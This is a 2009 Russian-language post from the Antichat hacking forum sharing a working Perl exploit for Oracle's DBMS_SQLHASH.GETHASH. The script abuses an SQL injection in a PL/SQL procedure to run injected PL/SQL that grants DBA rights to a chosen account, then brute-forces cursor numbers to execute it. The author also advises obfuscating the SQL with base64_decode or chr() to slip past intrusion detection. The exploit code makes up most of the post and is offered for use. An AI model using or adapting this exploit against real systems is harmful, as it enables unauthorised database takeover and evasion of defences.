ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Oracle DBMS_SQLHASH.GETHASH exploit (perl)
  #1  
Старый 04.12.2009, 03:00
Аватар для [ DSU ]
[ DSU ]
Участник форума
Регистрация: 22.10.2007
Сообщений: 159
Провел на форуме:
721727

Репутация: 397
Отправить сообщение для [ DSU ] с помощью ICQ
По умолчанию Oracle DBMS_SQLHASH.GETHASH exploit (perl)

Написал простенький сплоит использующий уязвимость в DBMS_SQLHASH.GETHASH, сплоиту для работы требуется sql инъекция в pl/sql процедуре (обычно на Oracle Application server, там и принадлежат такие процедуры по дефолту пользователю которого нам достаточно). В принципе можно спросить зачем нам сплоит если есть инъекция? Я отвечу, что часто в таких процедурах идет простой sql select/update/insert, а в них мы можем только простой sql использовать. Данный сплоит позволяет выполнить pl/sql имея при этом только инъекцию в процедуре выполняющей скажем select и права только create_session.
Для того чтоб использовать данный сплоит и обойти IDS можно немного переписать sql и использовать utl_encode.base64_decode() или chr() выбирайте сами как вам больше нравится благо оракл предоставляет огромное количество процедур/функций для работы с текстом.

Сплоит работает по принципу:

1. Вставляет нужный нам код.

2. Брут номера курсора который бо дефолту идет =<300

Mirror: http://pastebin.org/58184
Код:
    #!/usr/bin/perl
    #Coded by dsu http://dsu.com.ua 2009
    #Vulnerability discovered by David Litchfield

    use LWP::UserAgent;
    $ua = new LWP::UserAgent;
    $ua->agent("MSIE 8" . $ua->agent);
    my $url = $ARGV[0];    #url of injectable param
    my $user = $ARGV[1];   # account to grant dba
    my $curs = 300; #maximal cursor number allowed by default
    my $sql="DDD''||DBMS_SQLHASH.GETHASH(''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''GRANT DBA TO ".$user."''''; COMMIT; END;'',1,1)||''DDDD";
    if (!$ARGV[0] or !$ARGV[0])
    {
        print "##########################################################################\r\n";
        print "#You need a create session privs and pl/sql procedure with sql-injection #\r\n";
        print "#Use: exp.pl http://example.org/e.cgi?param= scott                       #\r\n";
        print "##########################################################################\r\n";
     exit;
    }
    $ex = $url."exploit".$sql;
    print "Inject pl/sql \r\n";
    my $res1 = $ua->get($ex);
    print "Try to execute cursor it take several time\r\n";
    for( $i=1; $i < $curs; $i++ )
    {
                    my $res = $ua->get($url."tst''||(SELECT DBMS_SQL.EXECUTE(".$i.") FROM DUAL)||''tst");
    }
    print "executted";

Последний раз редактировалось [ DSU ]; 04.12.2009 в 03:31..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Oracle Hack часть первая: Oracle Application Server [ DSU ] Авторские статьи 15 21.05.2009 20:32
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ